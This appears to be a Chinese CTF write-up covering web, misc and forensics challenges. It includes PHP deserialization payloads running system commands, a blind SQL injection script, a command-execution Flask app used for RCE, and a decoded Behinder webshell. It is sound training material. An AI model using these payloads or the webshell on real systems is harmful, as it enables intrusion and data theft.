1 2 3 O :5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:4 :"ls /" ;}}}}O :5 :"Start" :2 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:4 :"ls /" ;}}}}}O :5 :"Start" :2 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:7 :"cat /f*" ;}}}}}
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct()
,提前触发反序列化链条。
midsql 过滤了空格和=
使用/**/和like绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport time result='' for i in range (1 ,100 ): left=32 right=128 print (i) mid=(left+right)//2 while (left<right): url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i} ,1))>{mid} ,sleep(2),0)#" start_time= time.time() res=requests.get(url=url) end_time = time.time() t = end_time - start_time if (t>2 ): left=mid+1 else : right=mid mid=(left+right)//2 result+=chr (mid) print (result)
**PharOne 查看源码发现提示class.php
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );class Flag { public $cmd ; public function __destruct ( ) { @exec ($this ->cmd); } } @unlink ($_POST ['file' ]);
flask disk 题目提示:a flask disk with a vulneribility. (The application is running on port 5000)
打开环境发现flask开启了debug模式,并且我们能够上传文件
考点:flask在开启debug模式下,变更app.py文件会立即加载
写一个rce的app.py,然后上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask, requestimport os app = Flask(__name__)@app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 ,debug=True )
Misc R通大残 题目附件黑不拉几一看,010看不出来,修改高度也没变化
想到RGB通道的R通道隐写,stegslove查看
果然上方有藏东西
单独提取R通道所有内容,得到flag
Nmap
请给出Nmap扫描得到所有的开放端口用英文逗号分隔,端口号从小到大排列。 例如flag{21,22,80,8080} nmap.pcap
如果成功建立连接的话,服务器会发送一个synack
字段
筛选一下tcp.connection.synack
flag{80,3306,5000,7000,8021,9000}
依旧是空白 给了两个附件,一个是图片,一个是txt文件
打开图片看不到什么,010查看crc报错,爆破宽高并修改
得到password:s00_b4by_f0r_y0u
这次是snow加密:
SNOW 是 the Steganographic Nature Of Whitespace 的简写。
SNOW 用于通过在行尾附加空格和制表符来隐藏 ASCII 文本中的消息,即文本隐写 。由于空格和制表符在文本查看器中通常不可见,因此消息实际上对不经意的观察者隐藏。并且如果使用内置加密,即使检测到消息也无法读取。
参数
作用
-C
如果隐藏,则压缩数据,或者如果提取,则会解压缩。
-Q
静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。
-S
报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。
-p password
如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。
-l line-length
在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。
-f message-file
此文件的内容将隐藏在输入文本文件中。
-m message-string
此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。
SNOW.EXE -C -p "s00_b4by_f0r_y0u" infile outfile
查看outfile里面的内容得到
flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}
3-溯源
在调查清楚攻击者的攻击路径后你暗暗松了一口气,但是攻击者仍控制着服务器,眼下当务之急是继续深入调查攻击者对服务器进行了什么操作,同时调查清楚攻击者的身份,请你分析攻击者与WebShell通讯的流量获取攻击者获取的相关信息,目前可以得知的是攻击者使用了冰蝎进行WebShell连接。 Tip:沿着前序题目的进度分析会更符合逻辑,或许有助于解题 FLAG格式:flag{攻击者获取到的服务器用户名_服务器内网IP地址} 例如flag{web_10.0.0.3}
顺着上一道题的思路有一个Shell:wh1t3g0d.php,继续分析
1 http.request .uri .path contains "wh1t3g0d.php"
可以看到写了一个shell
1 http .request.uri contains "shell.php"
注意到file_put_contents,写入了一个1.php,base64编码了,解码得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php @error_reporting (0 );session_start (); $key ="e45e329feb5d925b" ; $_SESSION ['k' ]=$key ; session_write_close (); $post =file_get_contents ("php://input" ); if (!extension_loaded ('openssl' )) { $t ="base64_" ."decode" ; $post =$t ($post ."" ); for ($i =0 ;$i <strlen ($post );$i ++) { $post [$i ] = $post [$i ]^$key [$i +1 &15 ]; } } else { $post =openssl_decrypt ($post , "AES128" , $key ); } $arr =explode ('|' ,$post ); $func =$arr [0 ]; $params =$arr [1 ]; class C {public function __invoke ($p ) {eval ($p ."" );}} @call_user_func (new C (),$params );?>
很明显的冰蝎Shell,发现后续的交互也主要是和1.php进行交互。
从这里可以得知key为e45e329feb5d925b
,流量采用AES CBC 128加密,可以先把所有1.php的响应流量过滤出来:
1 http .response_for.uri contains "/1.php"
然后导出特定分组
1 2 3 4 5 6 7 mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j4WlEW7HirOWaxK0Av0Bq+B {"status":"c3VjY2Vzcw==","msg":"d3d3LWRhdGEK"}success www-data {"status":"c3VjY2Vzcw==","msg":"MTcyLjE3LjAuMgo="}success 172.17.0.2
flag{www-data_172.17.0.2}
第一次取证 获取信息
1 python2 vol.py -f dycqz.raw imageinfo
查看进程
1 python2 vol.py -f dycqz.raw --profile =Win7SP1x64 pslist
查看notepad进程:
得到
1 @iH <,{BTrI ;(N[`j&z+xcj9XE2!u/YbR :4 gb2+ceDJs@u6P
base91解密
flag{a308067fc26625d31a421247adce3893}
Week5 Web
Misc 隐秘的图片 给了两张二维码,第一张完好的扫出来假的flag
第二张没有finder
xqr脚本跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from PIL import Image img1 = Image.open ('key1.png' ).convert('1' ) img2 = Image.open ('key2.png' ).convert('1' ) img2 = img2.resize((297 ,297 )) width, height = img1.size result = Image.new('1' , (width, height))for x in range (width): for y in range (height): pixel1 = img1.getpixel((x, y)) pixel2 = img2.getpixel((x, y)) result.putpixel((x, y), pixel1 ^ pixel2) result.save('result.png' )
Enigma 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from enigma.machine import EnigmaMachinefrom secret import *def enigma (m, _reflector, _rotors, _rs ): machine = EnigmaMachine.from_key_sheet( rotors=_rotors, reflector=_reflector, ring_settings=_rs, plugboard_settings='' ) temp = machine.process_text(m) return temp.lower()print (enigma(flag, reflector, rotors, [rs1,15 ,rs2]))
其中我们未知的加密参数有reflector、rotors和rs1、rs2
大概了解一下这个类库就能知道这几个参数的取值范围,编写脚本爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from enigma.machine import EnigmaMachine reflectors = ['B-Thin' , 'C-Thin' ] rotors = ['I' , 'II' , 'III' , 'IV' , 'V' , 'VI' , 'VII' , 'VIII' ]for r1, r2, r3 in [(r1, r2, r3) for r1 in rotors for r2 in rotors for r3 in rotors]: for r in reflectors: for a, b in [(a, b) for a in range (1 , 26 ) for b in range (1 , 26 )]: machine = EnigmaMachine.from_key_sheet( rotors=' ' .join([r1, r2, r3]), reflector=r, ring_settings=[a, 15 , b], plugboard_settings='' ) temp = machine.process_text('uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn' ) if temp.startswith("FLAG" ): print (temp, r1, r2, r3, r) break
ezhard 1 2 3 ┌──(kali㉿kali)-[~/Desktop ] └─$ file ezhard ezhard : Linux rev 1.0 ext4 filesystem data , UUID =9f3e7e9e-e08e-435c-8528-e0b6d310e3a2 (extents ) (64bit ) (large files ) (huge files )
分析出是硬盘格式文件
挂载一下
1 2 mkdir tmp sudo mount ezhard tmp
然后进tmp目录查看
发现hint.png打不开,查看属性发现权限不够,右键root打开
Easymem 1 2 3 4 5 6 7 8 9 10 11 python2 vol.py -f filename imageinfo python2 vol.py -f filename --profile=Win7SP1x64 mimikatz python2 vol.py -f filename --profile=Win7SP1x64 filescan |grep 'Desktop' python2 vol.py -f filename --profile=Win7SP1x64 dumpfiles -Q 0x000000007ed627e0 -D /home/kali/Desktop python2 vol.py -f filename --profile=Win7SP1x64 pslist python2 vol.py -f filename --profile=Win7SP1x64 memdump -p 1484 -D /home/kali/Desktop 导出一个dat文件后续需要GIMP工具
GIMP打开文件参数如下,需手动设置文件类型为Raw图像数据,扩展名为data
宽度为480的时候能够找到特征字符
截屏保存,利用修图工具进行垂直翻转即可